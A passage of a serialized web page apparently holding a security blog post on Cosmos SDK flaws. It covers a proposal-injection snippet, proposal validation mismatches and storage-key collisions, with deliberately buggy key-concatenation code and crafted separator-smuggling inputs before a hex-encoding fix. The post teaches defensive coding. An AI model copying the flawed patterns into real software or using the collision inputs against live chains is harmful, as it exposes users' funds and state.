votes\"",{"type":21,"tag":153,"props":86867,"children":86868},{"style":160},[86869],{"type":26,"value":1670},{"type":21,"tag":153,"props":86871,"children":86872},{"style":671},[86873],{"type":26,"value":86874},"\"err\"",{"type":21,"tag":153,"props":86876,"children":86877},{"style":160},[86878],{"type":26,"value":1670},{"type":21,"tag":153,"props":86880,"children":86881},{"style":192},[86882],{"type":26,"value":50710},{"type":21,"tag":153,"props":86884,"children":86885},{"style":160},[86886],{"type":26,"value":5909},{"type":21,"tag":153,"props":86888,"children":86889},{"class":155,"line":842},[86890,86894,86898,86902],{"type":21,"tag":153,"props":86891,"children":86892},{"style":1751},[86893],{"type":26,"value":63021},{"type":21,"tag":153,"props":86895,"children":86896},{"style":170},[86897],{"type":26,"value":84215},{"type":21,"tag":153,"props":86899,"children":86900},{"style":160},[86901],{"type":26,"value":1670},{"type":21,"tag":153,"props":86903,"children":86904},{"style":192},[86905],{"type":26,"value":85936},{"type":21,"tag":153,"props":86907,"children":86908},{"class":155,"line":3204},[86909],{"type":21,"tag":153,"props":86910,"children":86911},{"style":160},[86912],{"type":26,"value":61177},{"type":21,"tag":153,"props":86914,"children":86915},{"class":155,"line":3230},[86916],{"type":21,"tag":153,"props":86917,"children":86918},{"style":198},[86919],{"type":26,"value":84815},{"type":21,"tag":153,"props":86921,"children":86922},{"class":155,"line":3239},[86923],{"type":21,"tag":153,"props":86924,"children":86925},{"style":160},[86926],{"type":26,"value":2765},{"type":21,"tag":153,"props":86928,"children":86929},{"class":155,"line":3253},[86930,86935,86939,86943,86947,86952,86956,86961,86965,86969,86973,86977],{"type":21,"tag":153,"props":86931,"children":86932},{"style":192},[86933],{"type":26,"value":86934},"        defaultRes",{"type":21,"tag":153,"props":86936,"children":86937},{"style":160},[86938],{"type":26,"value":1670},{"type":21,"tag":153,"props":86940,"children":86941},{"style":192},[86942],{"type":26,"value":50710},{"type":21,"tag":153,"props":86944,"children":86945},{"style":198},[86946],{"type":26,"value":78713},{"type":21,"tag":153,"props":86948,"children":86949},{"style":192},[86950],{"type":26,"value":86951}," h",{"type":21,"tag":153,"props":86953,"children":86954},{"style":160},[86955],{"type":26,"value":355},{"type":21,"tag":153,"props":86957,"children":86958},{"style":181},[86959],{"type":26,"value":86960},"defaultPrepareProposal",{"type":21,"tag":153,"props":86962,"children":86963},{"style":160},[86964],{"type":26,"value":189},{"type":21,"tag":153,"props":86966,"children":86967},{"style":192},[86968],{"type":26,"value":1882},{"type":21,"tag":153,"props":86970,"children":86971},{"style":160},[86972],{"type":26,"value":1670},{"type":21,"tag":153,"props":86974,"children":86975},{"style":192},[86976],{"type":26,"value":86446},{"type":21,"tag":153,"props":86978,"children":86979},{"style":160},[86980],{"type":26,"value":5909},{"type":21,"tag":153,"props":86982,"children":86983},{"class":155,"line":3301},[86984],{"type":21,"tag":153,"props":86985,"children":86986},{"style":198},[86987],{"type":26,"value":84139},{"type":21,"tag":153,"props":86989,"children":86990},{"class":155,"line":3346},[86991,86996,87000,87005,87009],{"type":21,"tag":153,"props":86992,"children":86993},{"style":192},[86994],{"type":26,"value":86995},"        proposalTxs",{"type":21,"tag":153,"props":86997,"children":86998},{"style":198},[86999],{"type":26,"value":78713},{"type":21,"tag":153,"props":87001,"children":87002},{"style":192},[87003],{"type":26,"value":87004}," defaultRes",{"type":21,"tag":153,"props":87006,"children":87007},{"style":160},[87008],{"type":26,"value":355},{"type":21,"tag":153,"props":87010,"children":87011},{"style":192},[87012],{"type":26,"value":87013},"Txs\n",{"type":21,"tag":153,"props":87015,"children":87016},{"class":155,"line":3355},[87017,87021,87025,87029,87033],{"type":21,"tag":153,"props":87018,"children":87019},{"style":1751},[87020],{"type":26,"value":2607},{"type":21,"tag":153,"props":87022,"children":87023},{"style":192},[87024],{"type":26,"value":86516},{"type":21,"tag":153,"props":87026,"children":87027},{"style":198},[87028],{"type":26,"value":66680},{"type":21,"tag":153,"props":87030,"children":87031},{"style":170},[87032],{"type":26,"value":84215},{"type":21,"tag":153,"props":87034,"children":87035},{"style":160},[87036],{"type":26,"value":236},{"type":21,"tag":153,"props":87038,"children":87039},{"class":155,"line":3364},[87040,87045,87049,87053,87058,87063,87067,87072,87076,87081,87085],{"type":21,"tag":153,"props":87041,"children":87042},{"style":192},[87043],{"type":26,"value":87044},"            proposalTxs",{"type":21,"tag":153,"props":87046,"children":87047},{"style":198},[87048],{"type":26,"value":255},{"type":21,"tag":153,"props":87050,"children":87051},{"style":181},[87052],{"type":26,"value":79993},{"type":21,"tag":153,"props":87054,"children":87055},{"style":160},[87056],{"type":26,"value":87057},"([][]",{"type":21,"tag":153,"props":87059,"children":87060},{"style":214},[87061],{"type":26,"value":87062},"byte",{"type":21,"tag":153,"props":87064,"children":87065},{"style":160},[87066],{"type":26,"value":78915},{"type":21,"tag":153,"props":87068,"children":87069},{"style":192},[87070],{"type":26,"value":87071},"injection",{"type":21,"tag":153,"props":87073,"children":87074},{"style":160},[87075],{"type":26,"value":78934},{"type":21,"tag":153,"props":87077,"children":87078},{"style":192},[87079],{"type":26,"value":87080},"proposalTxs",{"type":21,"tag":153,"props":87082,"children":87083},{"style":198},[87084],{"type":26,"value":12313},{"type":21,"tag":153,"props":87086,"children":87087},{"style":160},[87088],{"type":26,"value":5909},{"type":21,"tag":153,"props":87090,"children":87091},{"class":155,"line":3376},[87092,87097,87101,87105,87109,87113,87117,87122,87126,87131,87135,87139,87143,87147],{"type":21,"tag":153,"props":87093,"children":87094},{"style":192},[87095],{"type":26,"value":87096},"            h",{"type":21,"tag":153,"props":87098,"children":87099},{"style":160},[87100],{"type":26,"value":355},{"type":21,"tag":153,"props":87102,"children":87103},{"style":192},[87104],{"type":26,"value":86848},{"type":21,"tag":153,"props":87106,"children":87107},{"style":160},[87108],{"type":26,"value":355},{"type":21,"tag":153,"props":87110,"children":87111},{"style":181},[87112],{"type":26,"value":27408},{"type":21,"tag":153,"props":87114,"children":87115},{"style":160},[87116],{"type":26,"value":189},{"type":21,"tag":153,"props":87118,"children":87119},{"style":671},[87120],{"type":26,"value":87121},"\"injected local last commit\"",{"type":21,"tag":153,"props":87123,"children":87124},{"style":160},[87125],{"type":26,"value":1670},{"type":21,"tag":153,"props":87127,"children":87128},{"style":671},[87129],{"type":26,"value":87130},"\"height\"",{"type":21,"tag":153,"props":87132,"children":87133},{"style":160},[87134],{"type":26,"value":1670},{"type":21,"tag":153,"props":87136,"children":87137},{"style":192},[87138],{"type":26,"value":86446},{"type":21,"tag":153,"props":87140,"children":87141},{"style":160},[87142],{"type":26,"value":355},{"type":21,"tag":153,"props":87144,"children":87145},{"style":192},[87146],{"type":26,"value":85776},{"type":21,"tag":153,"props":87148,"children":87149},{"style":160},[87150],{"type":26,"value":5909},{"type":21,"tag":153,"props":87152,"children":87153},{"class":155,"line":3393},[87154],{"type":21,"tag":153,"props":87155,"children":87156},{"style":160},[87157],{"type":26,"value":2765},{"type":21,"tag":153,"props":87159,"children":87160},{"class":155,"line":3405},[87161,87165,87169,87173,87177,87181],{"type":21,"tag":153,"props":87162,"children":87163},{"style":1751},[87164],{"type":26,"value":18441},{"type":21,"tag":153,"props":87166,"children":87167},{"style":198},[87168],{"type":26,"value":206},{"type":21,"tag":153,"props":87170,"children":87171},{"style":214},[87172],{"type":26,"value":86455},{"type":21,"tag":153,"props":87174,"children":87175},{"style":160},[87176],{"type":26,"value":355},{"type":21,"tag":153,"props":87178,"children":87179},{"style":214},[87180],{"type":26,"value":86485},{"type":21,"tag":153,"props":87182,"children":87183},{"style":160},[87184],{"type":26,"value":13601},{"type":21,"tag":153,"props":87186,"children":87187},{"class":155,"line":3427},[87188,87193,87197,87201],{"type":21,"tag":153,"props":87189,"children":87190},{"style":192},[87191],{"type":26,"value":87192},"            Txs",{"type":21,"tag":153,"props":87194,"children":87195},{"style":160},[87196],{"type":26,"value":18031},{"type":21,"tag":153,"props":87198,"children":87199},{"style":192},[87200],{"type":26,"value":87080},{"type":21,"tag":153,"props":87202,"children":87203},{"style":160},[87204],{"type":26,"value":792},{"type":21,"tag":153,"props":87206,"children":87207},{"class":155,"line":3448},[87208,87213],{"type":21,"tag":153,"props":87209,"children":87210},{"style":160},[87211],{"type":26,"value":87212},"        }, ",{"type":21,"tag":153,"props":87214,"children":87215},{"style":170},[87216],{"type":26,"value":78939},{"type":21,"tag":153,"props":87218,"children":87219},{"class":155,"line":3456},[87220],{"type":21,"tag":153,"props":87221,"children":87222},{"style":160},[87223],{"type":26,"value":539},{"type":21,"tag":153,"props":87225,"children":87226},{"class":155,"line":3493},[87227],{"type":21,"tag":153,"props":87228,"children":87229},{"style":160},[87230],{"type":26,"value":548},{"type":21,"tag":22,"props":87232,"children":87233},{},[87234,87236,87241,87242,87247,87249,87256],{"type":26,"value":87235},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":21,"tag":78,"props":87237,"children":87239},{"className":87238},[],[87240],{"type":26,"value":85605},{"type":26,"value":5820},{"type":21,"tag":78,"props":87243,"children":87245},{"className":87244},[],[87246],{"type":26,"value":85673},{"type":26,"value":87248},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":21,"tag":29,"props":87250,"children":87253},{"href":87251,"rel":87252},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[33],[87254],{"type":26,"value":87255},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":26,"value":87257},", which will later get rejected by CometBTF.",{"type":21,"tag":66,"props":87259,"children":87261},{"id":87260},"the-keymaker",[87262],{"type":26,"value":87263},"The Keymaker",{"type":21,"tag":22,"props":87265,"children":87266},{},[87267,87269,87275,87277,87282],{"type":26,"value":87268},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":21,"tag":78,"props":87270,"children":87272},{"className":87271},[],[87273],{"type":26,"value":87274},"KVStore",{"type":26,"value":87276}," to handle states efficently. In ",{"type":21,"tag":78,"props":87278,"children":87280},{"className":87279},[],[87281],{"type":26,"value":87274},{"type":26,"value":87283},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":21,"tag":22,"props":87285,"children":87286},{},[87287],{"type":26,"value":87288},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":21,"tag":22,"props":87290,"children":87291},{},[87292,87294,87300],{"type":26,"value":87293},"Let's start by considering a scenario where we need to store the ",{"type":21,"tag":78,"props":87295,"children":87297},{"className":87296},[],[87298],{"type":26,"value":87299},"positionMap",{"type":26,"value":87301}," structure mentioned below into storage.",{"type":21,"tag":143,"props":87303,"children":87305},{"code":87304,"language":78461,"meta":7,"className":78462,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[87306],{"type":21,"tag":78,"props":87307,"children":87308},{"__ignoreMap":7},[87309,87325,87342,87358,87377,87392,87399,87416],{"type":21,"tag":153,"props":87310,"children":87311},{"class":155,"line":156},[87312,87316,87321],{"type":21,"tag":153,"props":87313,"children":87314},{"style":170},[87315],{"type":26,"value":35450},{"type":21,"tag":153,"props":87317,"children":87318},{"style":214},[87319],{"type":26,"value":87320}," VaultId",{"type":21,"tag":153,"props":87322,"children":87323},{"style":214},[87324],{"type":26,"value":78499},{"type":21,"tag":153,"props":87326,"children":87327},{"class":155,"line":166},[87328,87332,87337],{"type":21,"tag":153,"props":87329,"children":87330},{"style":170},[87331],{"type":26,"value":35450},{"type":21,"tag":153,"props":87333,"children":87334},{"style":214},[87335],{"type":26,"value":87336}," Username",{"type":21,"tag":153,"props":87338,"children":87339},{"style":214},[87340],{"type":26,"value":87341}," string\n",{"type":21,"tag":153,"props":87343,"children":87344},{"class":155,"line":225},[87345,87349,87354],{"type":21,"tag":153,"props":87346,"children":87347},{"style":170},[87348],{"type":26,"value":35450},{"type":21,"tag":153,"props":87350,"children":87351},{"style":214},[87352],{"type":26,"value":87353}," PositionName",{"type":21,"tag":153,"props":87355,"children":87356},{"style":214},[87357],{"type":26,"value":87341},{"type":21,"tag":153,"props":87359,"children":87360},{"class":155,"line":239},[87361,87365,87369,87373],{"type":21,"tag":153,"props":87362,"children":87363},{"style":170},[87364],{"type":26,"value":35450},{"type":21,"tag":153,"props":87366,"children":87367},{"style":214},[87368],{"type":26,"value":10153},{"type":21,"tag":153,"props":87370,"children":87371},{"style":170},[87372],{"type":26,"value":23844},{"type":21,"tag":153,"props":87374,"children":87375},{"style":160},[87376],{"type":26,"value":236},{"type":21,"tag":153,"props":87378,"children":87379},{"class":155,"line":382},[87380,87384,87388],{"type":21,"tag":153,"props":87381,"children":87382},{"style":192},[87383],{"type":26,"value":2920},{"type":21,"tag":153,"props":87385,"children":87386},{"style":160},[87387],{"type":26,"value":78524},{"type":21,"tag":153,"props":87389,"children":87390},{"style":214},[87391],{"type":26,"value":86525},{"type":21,"tag":153,"props":87393,"children":87394},{"class":155,"line":501},[87395],{"type":21,"tag":153,"props":87396,"children":87397},{"style":160},[87398],{"type":26,"value":548},{"type":21,"tag":153,"props":87400,"children":87401},{"class":155,"line":533},[87402,87406,87411],{"type":21,"tag":153,"props":87403,"children":87404},{"style":170},[87405],{"type":26,"value":35450},{"type":21,"tag":153,"props":87407,"children":87408},{"style":214},[87409],{"type":26,"value":87410}," PositionMap",{"type":21,"tag":153,"props":87412,"children":87413},{"style":198},[87414],{"type":26,"value":87415}," :=\n",{"type":21,"tag":153,"props":87417,"children":87418},{"class":155,"line":542},[87419,87424,87428,87433,87437,87441,87445,87450,87454,87458,87462,87467,87471],{"type":21,"tag":153,"props":87420,"children":87421},{"style":170},[87422],{"type":26,"value":87423},"    map",{"type":21,"tag":153,"props":87425,"children":87426},{"style":160},[87427],{"type":26,"value":211},{"type":21,"tag":153,"props":87429,"children":87430},{"style":214},[87431],{"type":26,"value":87432},"VaultId",{"type":21,"tag":153,"props":87434,"children":87435},{"style":160},[87436],{"type":26,"value":350},{"type":21,"tag":153,"props":87438,"children":87439},{"style":170},[87440],{"type":26,"value":69396},{"type":21,"tag":153,"props":87442,"children":87443},{"style":160},[87444],{"type":26,"value":211},{"type":21,"tag":153,"props":87446,"children":87447},{"style":214},[87448],{"type":26,"value":87449},"Username",{"type":21,"tag":153,"props":87451,"children":87452},{"style":160},[87453],{"type":26,"value":350},{"type":21,"tag":153,"props":87455,"children":87456},{"style":170},[87457],{"type":26,"value":69396},{"type":21,"tag":153,"props":87459,"children":87460},{"style":160},[87461],{"type":26,"value":211},{"type":21,"tag":153,"props":87463,"children":87464},{"style":214},[87465],{"type":26,"value":87466},"PositionName",{"type":21,"tag":153,"props":87468,"children":87469},{"style":160},[87470],{"type":26,"value":350},{"type":21,"tag":153,"props":87472,"children":87473},{"style":214},[87474],{"type":26,"value":87475},"Position\n",{"type":21,"tag":22,"props":87477,"children":87478},{},[87479,87481,87487],{"type":26,"value":87480},"Given that there are two levels of keys in ",{"type":21,"tag":78,"props":87482,"children":87484},{"className":87483},[],[87485],{"type":26,"value":87486},"PositionMap",{"type":26,"value":87488},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":21,"tag":143,"props":87490,"children":87492},{"code":87491,"language":78461,"meta":7,"className":78462,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[87493],{"type":21,"tag":78,"props":87494,"children":87495},{"__ignoreMap":7},[87496,87525,87537,87549,87561,87573],{"type":21,"tag":153,"props":87497,"children":87498},{"class":155,"line":156},[87499,87504,87508,87512,87516,87521],{"type":21,"tag":153,"props":87500,"children":87501},{"style":192},[87502],{"type":26,"value":87503},"storageKey",{"type":21,"tag":153,"props":87505,"children":87506},{"style":198},[87507],{"type":26,"value":78713},{"type":21,"tag":153,"props":87509,"children":87510},{"style":192},[87511],{"type":26,"value":84531},{"type":21,"tag":153,"props":87513,"children":87514},{"style":160},[87515],{"type":26,"value":355},{"type":21,"tag":153,"props":87517,"children":87518},{"style":181},[87519],{"type":26,"value":87520},"Sprintf",{"type":21,"tag":153,"props":87522,"children":87523},{"style":160},[87524],{"type":26,"value":773},{"type":21,"tag":153,"props":87526,"children":87527},{"class":155,"line":166},[87528,87533],{"type":21,"tag":153,"props":87529,"children":87530},{"style":671},[87531],{"type":26,"value":87532},"    \"%d%s%s\"",{"type":21,"tag":153,"props":87534,"children":87535},{"style":160},[87536],{"type":26,"value":792},{"type":21,"tag":153,"props":87538,"children":87539},{"class":155,"line":225},[87540,87545],{"type":21,"tag":153,"props":87541,"children":87542},{"style":192},[87543],{"type":26,"value":87544},"    vaultId",{"type":21,"tag":153,"props":87546,"children":87547},{"style":160},[87548],{"type":26,"value":792},{"type":21,"tag":153,"props":87550,"children":87551},{"class":155,"line":239},[87552,87557],{"type":21,"tag":153,"props":87553,"children":87554},{"style":192},[87555],{"type":26,"value":87556},"    username",{"type":21,"tag":153,"props":87558,"children":87559},{"style":160},[87560],{"type":26,"value":792},{"type":21,"tag":153,"props":87562,"children":87563},{"class":155,"line":382},[87564,87569],{"type":21,"tag":153,"props":87565,"children":87566},{"style":192},[87567],{"type":26,"value":87568},"    positionName",{"type":21,"tag":153,"props":87570,"children":87571},{"style":160},[87572],{"type":26,"value":792},{"type":21,"tag":153,"props":87574,"children":87575},{"class":155,"line":501},[87576],{"type":21,"tag":153,"props":87577,"children":87578},{"style":160},[87579],{"type":26,"value":5909},{"type":21,"tag":22,"props":87581,"children":87582},{},[87583],{"type":26,"value":87584},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":21,"tag":143,"props":87586,"children":87588},{"code":87587},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[87589],{"type":21,"tag":78,"props":87590,"children":87591},{"__ignoreMap":7},[87592],{"type":26,"value":87587},{"type":21,"tag":22,"props":87594,"children":87595},{},[87596,87601],{"type":21,"tag":5302,"props":87597,"children":87598},{},[87599],{"type":26,"value":87600},"So, how can we mitigate this issue?",{"type":26,"value":87602},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":21,"tag":143,"props":87604,"children":87606},{"code":87605,"language":78461,"meta":7,"className":78462,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[87607],{"type":21,"tag":78,"props":87608,"children":87609},{"__ignoreMap":7},[87610,87621,87638,87645,87652,87679,87691,87702,87713,87724,87735,87746],{"type":21,"tag":153,"props":87611,"children":87612},{"class":155,"line":156},[87613,87617],{"type":21,"tag":153,"props":87614,"children":87615},{"style":170},[87616],{"type":26,"value":5085},{"type":21,"tag":153,"props":87618,"children":87619},{"style":160},[87620],{"type":26,"value":80863},{"type":21,"tag":153,"props":87622,"children":87623},{"class":155,"line":166},[87624,87629,87633],{"type":21,"tag":153,"props":87625,"children":87626},{"style":192},[87627],{"type":26,"value":87628},"    Seperator",{"type":21,"tag":153,"props":87630,"children":87631},{"style":198},[87632],{"type":26,"value":255},{"type":21,"tag":153,"props":87634,"children":87635},{"style":671},[87636],{"type":26,"value":87637}," \"|\"\n",{"type":21,"tag":153,"props":87639,"children":87640},{"class":155,"line":225},[87641],{"type":21,"tag":153,"props":87642,"children":87643},{"style":160},[87644],{"type":26,"value":5909},{"type":21,"tag":153,"props":87646,"children":87647},{"class":155,"line":239},[87648],{"type":21,"tag":153,"props":87649,"children":87650},{"emptyLinePlaceholder":16},[87651],{"type":26,"value":759},{"type":21,"tag":153,"props":87653,"children":87654},{"class":155,"line":382},[87655,87659,87663,87667,87671,87675],{"type":21,"tag":153,"props":87656,"children":87657},{"style":192},[87658],{"type":26,"value":87503},{"type":21,"tag":153,"props":87660,"children":87661},{"style":198},[87662],{"type":26,"value":78713},{"type":21,"tag":153,"props":87664,"children":87665},{"style":192},[87666],{"type":26,"value":84531},{"type":21,"tag":153,"props":87668,"children":87669},{"style":160},[87670],{"type":26,"value":355},{"type":21,"tag":153,"props":87672,"children":87673},{"style":181},[87674],{"type":26,"value":87520},{"type":21,"tag":153,"props":87676,"children":87677},{"style":160},[87678],{"type":26,"value":773},{"type":21,"tag":153,"props":87680,"children":87681},{"class":155,"line":501},[87682,87687],{"type":21,"tag":153,"props":87683,"children":87684},{"style":671},[87685],{"type":26,"value":87686},"    \"%d%s%s%s%s\"",{"type":21,"tag":153,"props":87688,"children":87689},{"style":160},[87690],{"type":26,"value":792},{"type":21,"tag":153,"props":87692,"children":87693},{"class":155,"line":533},[87694,87698],{"type":21,"tag":153,"props":87695,"children":87696},{"style":192},[87697],{"type":26,"value":87544},{"type":21,"tag":153,"props":87699,"children":87700},{"style":160},[87701],{"type":26,"value":792},{"type":21,"tag":153,"props":87703,"children":87704},{"class":155,"line":542},[87705,87709],{"type":21,"tag":153,"props":87706,"children":87707},{"style":192},[87708],{"type":26,"value":87628},{"type":21,"tag":153,"props":87710,"children":87711},{"style":160},[87712],{"type":26,"value":792},{"type":21,"tag":153,"props":87714,"children":87715},{"class":155,"line":762},[87716,87720],{"type":21,"tag":153,"props":87717,"children":87718},{"style":192},[87719],{"type":26,"value":87556},{"type":21,"tag":153,"props":87721,"children":87722},{"style":160},[87723],{"type":26,"value":792},{"type":21,"tag":153,"props":87725,"children":87726},{"class":155,"line":776},[87727,87731],{"type":21,"tag":153,"props":87728,"children":87729},{"style":192},[87730],{"type":26,"value":87628},{"type":21,"tag":153,"props":87732,"children":87733},{"style":160},[87734],{"type":26,"value":792},{"type":21,"tag":153,"props":87736,"children":87737},{"class":155,"line":795},[87738,87742],{"type":21,"tag":153,"props":87739,"children":87740},{"style":192},[87741],{"type":26,"value":87568},{"type":21,"tag":153,"props":87743,"children":87744},{"style":160},[87745],{"type":26,"value":792},{"type":21,"tag":153,"props":87747,"children":87748},{"class":155,"line":808},[87749],{"type":21,"tag":153,"props":87750,"children":87751},{"style":160},[87752],{"type":26,"value":5909},{"type":21,"tag":22,"props":87754,"children":87755},{},[87756],{"type":26,"value":87757},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":21,"tag":22,"props":87759,"children":87760},{},[87761,87763,87769,87770,87776],{"type":26,"value":87762},"Sadly, it doesn't. Since the ",{"type":21,"tag":78,"props":87764,"children":87766},{"className":87765},[],[87767],{"type":26,"value":87768},"username",{"type":26,"value":52},{"type":21,"tag":78,"props":87771,"children":87773},{"className":87772},[],[87774],{"type":26,"value":87775},"vaultName",{"type":26,"value":87777}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":21,"tag":143,"props":87779,"children":87781},{"code":87780},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[87782],{"type":21,"tag":78,"props":87783,"children":87784},{"__ignoreMap":7},[87785],{"type":26,"value":87780},{"type":21,"tag":22,"props":87787,"children":87788},{},[87789],{"type":26,"value":87790},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":21,"tag":143,"props":87792,"children":87794},{"code":87793,"language":78461,"meta":7,"className":78462,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[87795],{"type":21,"tag":78,"props":87796,"children":87797},{"__ignoreMap":7},[87798,87809,87824,87831,87838,87845,87866,87882,87920,87927,87964,87971,87991,88006,88042,88049,88084,88091,88118,88129,88140,88151,88163,88174,88182],{"type":21,"tag":153,"props":87799,"children":87800},{"class":155,"line":156},[87801,87805],{"type":21,"tag":153,"props":87802,"children":87803},{"style":170},[87804],{"type":26,"value":5085},{"type":21,"tag":153,"props":87806,"children":87807},{"style":160},[87808],{"type":26,"value":80863},{"type":21,"tag":153,"props":87810,"children":87811},{"class":155,"line":166},[87812,87816,87820],{"type":21,"tag":153,"props":87813,"children":87814},{"style":192},[87815],{"type":26,"value":87628},{"type":21,"tag":153,"props":87817,"children":87818},{"style":198},[87819],{"type":26,"value":255},{"type":21,"tag":153,"props":87821,"children":87822},{"style":671},[87823],{"type":26,"value":87637},{"type":21,"tag":153,"props":87825,"children":87826},{"class":155,"line":225},[87827],{"type":21,"tag":153,"props":87828,"children":87829},{"style":160},[87830],{"type":26,"value":5909},{"type":21,"tag":153,"props":87832,"children":87833},{"class":155,"line":239},[87834],{"type":21,"tag":153,"props":87835,"children":87836},{"emptyLinePlaceholder":16},[87837],{"type":26,"value":759},{"type":21,"tag":153,"props":87839,"children":87840},{"class":155,"line":382},[87841],{"type":21,"tag":153,"props":87842,"children":87843},{"emptyLinePlaceholder":16},[87844],{"type":26,"value":759},{"type":21,"tag":153,"props":87846,"children":87847},{"class":155,"line":501},[87848,87853,87857,87862],{"type":21,"tag":153,"props":87849,"children":87850},{"style":192},[87851],{"type":26,"value":87852},"usernameEncoded",{"type":21,"tag":153,"props":87854,"children":87855},{"style":198},[87856],{"type":26,"value":78713},{"type":21,"tag":153,"props":87858,"children":87859},{"style":181},[87860],{"type":26,"value":87861}," make",{"type":21,"tag":153,"props":87863,"children":87864},{"style":160},[87865],{"type":26,"value":773},{"type":21,"tag":153,"props":87867,"children":87868},{"class":155,"line":533},[87869,87874,87878],{"type":21,"tag":153,"props":87870,"children":87871},{"style":160},[87872],{"type":26,"value":87873},"    []",{"type":21,"tag":153,"props":87875,"children":87876},{"style":214},[87877],{"type":26,"value":87062},{"type":21,"tag":153,"props":87879,"children":87880},{"style":160},[87881],{"type":26,"value":792},{"type":21,"tag":153,"props":87883,"children":87884},{"class":155,"line":542},[87885,87890,87894,87899,87903,87907,87911,87915],{"type":21,"tag":153,"props":87886,"children":87887},{"style":192},[87888],{"type":26,"value":87889},"    hex",{"type":21,"tag":153,"props":87891,"children":87892},{"style":160},[87893],{"type":26,"value":355},{"type":21,"tag":153,"props":87895,"children":87896},{"style":181},[87897],{"type":26,"value":87898},"EncodedLen",{"type":21,"tag":153,"props":87900,"children":87901},{"style":160},[87902],{"type":26,"value":189},{"type":21,"tag":153,"props":87904,"children":87905},{"style":181},[87906],{"type":26,"value":2456},{"type":21,"tag":153,"props":87908,"children":87909},{"style":160},[87910],{"type":26,"value":189},{"type":21,"tag":153,"props":87912,"children":87913},{"style":192},[87914],{"type":26,"value":87768},{"type":21,"tag":153,"props":87916,"children":87917},{"style":160},[87918],{"type":26,"value":87919},")),\n",{"type":21,"tag":153,"props":87921,"children":87922},{"class":155,"line":762},[87923],{"type":21,"tag":153,"props":87924,"children":87925},{"style":160},[87926],{"type":26,"value":5909},{"type":21,"tag":153,"props":87928,"children":87929},{"class":155,"line":776},[87930,87935,87939,87944,87948,87952,87956,87960],{"type":21,"tag":153,"props":87931,"children":87932},{"style":192},[87933],{"type":26,"value":87934},"hex",{"type":21,"tag":153,"props":87936,"children":87937},{"style":160},[87938],{"type":26,"value":355},{"type":21,"tag":153,"props":87940,"children":87941},{"style":181},[87942],{"type":26,"value":87943},"Encode",{"type":21,"tag":153,"props":87945,"children":87946},{"style":160},[87947],{"type":26,"value":189},{"type":21,"tag":153,"props":87949,"children":87950},{"style":192},[87951],{"type":26,"value":87852},{"type":21,"tag":153,"props":87953,"children":87954},{"style":160},[87955],{"type":26,"value":1670},{"type":21,"tag":153,"props":87957,"children":87958},{"style":192},[87959],{"type":26,"value":87768},{"type":21,"tag":153,"props":87961,"children":87962},{"style":160},[87963],{"type":26,"value":5909},{"type":21,"tag":153,"props":87965,"children":87966},{"class":155,"line":795},[87967],{"type":21,"tag":153,"props":87968,"children":87969},{"emptyLinePlaceholder":16},[87970],{"type":26,"value":759},{"type":21,"tag":153,"props":87972,"children":87973},{"class":155,"line":808},[87974,87979,87983,87987],{"type":21,"tag":153,"props":87975,"children":87976},{"style":192},[87977],{"type":26,"value":87978},"positionNameEncoded",{"type":21,"tag":153,"props":87980,"children":87981},{"style":198},[87982],{"type":26,"value":78713},{"type":21,"tag":153,"props":87984,"children":87985},{"style":181},[87986],{"type":26,"value":87861},{"type":21,"tag":153,"props":87988,"children":87989},{"style":160},[87990],{"type":26,"value":773},{"type":21,"tag":153,"props":87992,"children":87993},{"class":155,"line":820},[87994,87998,88002],{"type":21,"tag":153,"props":87995,"children":87996},{"style":160},[87997],{"type":26,"value":87873},{"type":21,"tag":153,"props":87999,"children":88000},{"style":214},[88001],{"type":26,"value":87062},{"type":21,"tag":153,"props":88003,"children":88004},{"style":160},[88005],{"type":26,"value":792},{"type":21,"tag":153,"props":88007,"children":88008},{"class":155,"line":842},[88009,88013,88017,88021,88025,88029,88033,88038],{"type":21,"tag":153,"props":88010,"children":88011},{"style":192},[88012],{"type":26,"value":87889},{"type":21,"tag":153,"props":88014,"children":88015},{"style":160},[88016],{"type":26,"value":355},{"type":21,"tag":153,"props":88018,"children":88019},{"style":181},[88020],{"type":26,"value":87898},{"type":21,"tag":153,"props":88022